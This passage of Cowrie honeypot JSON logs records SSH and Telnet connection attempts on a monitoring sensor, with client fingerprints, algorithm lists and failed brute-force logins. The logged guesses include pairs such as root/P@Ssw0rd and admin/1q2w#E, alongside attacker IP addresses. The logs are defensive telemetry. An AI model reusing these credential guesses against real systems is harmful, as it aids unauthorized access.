ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:13.715245Z","src_ip":"159.203.92.129","session":"077079fbca2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w#E","message":"login attempt [admin/1q2w#E] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:13.731087Z","src_ip":"159.203.92.129","session":"077079fbca2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00258326530457,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:14.656301Z","src_ip":"176.29.26.223","session":"2c5a578dc33d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:14.744029Z","src_ip":"159.203.92.129","session":"077079fbca2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":33939,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b00c313d78","protocol":"telnet","message":"New connection: 176.29.26.223:33939 (159.203.135.109:23) [session: 73b00c313d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:16.004701Z"}
{"eventid":"cowrie.session.closed","duration":120.00395369529724,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:18.358493Z","src_ip":"176.29.26.223","session":"5be984440ea3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":32903,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9606ec98c41","protocol":"telnet","message":"New connection: 176.29.26.223:32903 (159.203.135.109:23) [session: f9606ec98c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:19.860795Z"}
{"eventid":"cowrie.session.closed","duration":120.0011534690857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:19.962400Z","src_ip":"176.29.26.223","session":"309a64b28b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":30413,"dst_ip":"159.203.135.109","dst_port":23,"session":"9545532071d5","protocol":"telnet","message":"New connection: 176.29.26.223:30413 (159.203.135.109:23) [session: 9545532071d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:21.310615Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":33750,"dst_ip":"10.17.0.5","dst_port":22,"session":"e91a2e0c511c","protocol":"ssh","message":"New connection: 176.53.96.10:33750 (10.17.0.5:22) [session: e91a2e0c511c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:34.436339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:34.441965Z","src_ip":"176.53.96.10","session":"e91a2e0c511c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:34.563811Z","src_ip":"176.53.96.10","session":"e91a2e0c511c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@1234","message":"login attempt [root/oracle@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:35.080633Z","src_ip":"176.53.96.10","session":"e91a2e0c511c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:36.205817Z","src_ip":"176.53.96.10","session":"e91a2e0c511c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":50778,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a8b9b665d34","protocol":"ssh","message":"New connection: 165.154.5.148:50778 (10.17.0.5:22) [session: 7a8b9b665d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:43.446436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:43.450898Z","src_ip":"165.154.5.148","session":"7a8b9b665d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:43.671983Z","src_ip":"165.154.5.148","session":"7a8b9b665d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@Ssw0rd","message":"login attempt [root/P@Ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:44.587856Z","src_ip":"165.154.5.148","session":"7a8b9b665d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:45.812247Z","src_ip":"165.154.5.148","session":"7a8b9b665d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.80.63.229","src_port":54468,"dst_ip":"159.203.135.109","dst_port":23,"session":"c40fb5ea1fbf","protocol":"telnet","message":"New connection: 47.80.63.229:54468 (159.203.135.109:23) [session: c40fb5ea1fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:49.522643Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39592,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac9410aaca2e","protocol":"ssh","message":"New connection: 159.203.92.129:39592 (159.203.135.109:22) [session: ac9410aaca2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:56.015167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:56.047348Z","src_ip":"159.203.92.129","session":"ac9410aaca2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:56.055049Z","src_ip":"159.203.92.129","session":"ac9410aaca2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e","message":"login attempt [admin/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:56.107724Z","src_ip":"159.203.92.129","session":"ac9410aaca2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:24:57.115235Z","src_ip":"159.203.92.129","session":"ac9410aaca2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17256,"dst_ip":"159.203.135.109","dst_port":22,"session":"31b32b2b878f","protocol":"ssh","message":"New connection: 194.59.206.2:17256 (159.203.135.109:22) [session: 31b32b2b878f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:12.086203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:12.305346Z","src_ip":"194.59.206.2","session":"31b32b2b878f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:12.309807Z","src_ip":"194.59.206.2","session":"31b32b2b878f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:12.992022Z","src_ip":"194.59.206.2","session":"31b32b2b878f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.606394052505493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:20.128937Z","src_ip":"47.80.63.229","session":"c40fb5ea1fbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":47152,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb160e889130","protocol":"ssh","message":"New connection: 176.53.96.10:47152 (10.17.0.5:22) [session: fb160e889130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:32.288375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:32.293971Z","src_ip":"176.53.96.10","session":"fb160e889130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:32.420911Z","src_ip":"176.53.96.10","session":"fb160e889130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"password321","message":"login attempt [test1/password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:32.944114Z","src_ip":"176.53.96.10","session":"fb160e889130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:34.072977Z","src_ip":"176.53.96.10","session":"fb160e889130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":37598,"dst_ip":"10.17.0.5","dst_port":22,"session":"6509ec068b19","protocol":"ssh","message":"New connection: 165.154.5.148:37598 (10.17.0.5:22) [session: 6509ec068b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:35.308423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:35.313348Z","src_ip":"165.154.5.148","session":"6509ec068b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:35.530342Z","src_ip":"165.154.5.148","session":"6509ec068b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":".","message":"login attempt [root/.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:36.431598Z","src_ip":"165.154.5.148","session":"6509ec068b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:37.654052Z","src_ip":"165.154.5.148","session":"6509ec068b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51990,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ed07d104406","protocol":"ssh","message":"New connection: 159.203.92.129:51990 (159.203.135.109:22) [session: 7ed07d104406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:39.335407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:39.341185Z","src_ip":"159.203.92.129","session":"7ed07d104406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:39.350764Z","src_ip":"159.203.92.129","session":"7ed07d104406","protocol":"ssh"}
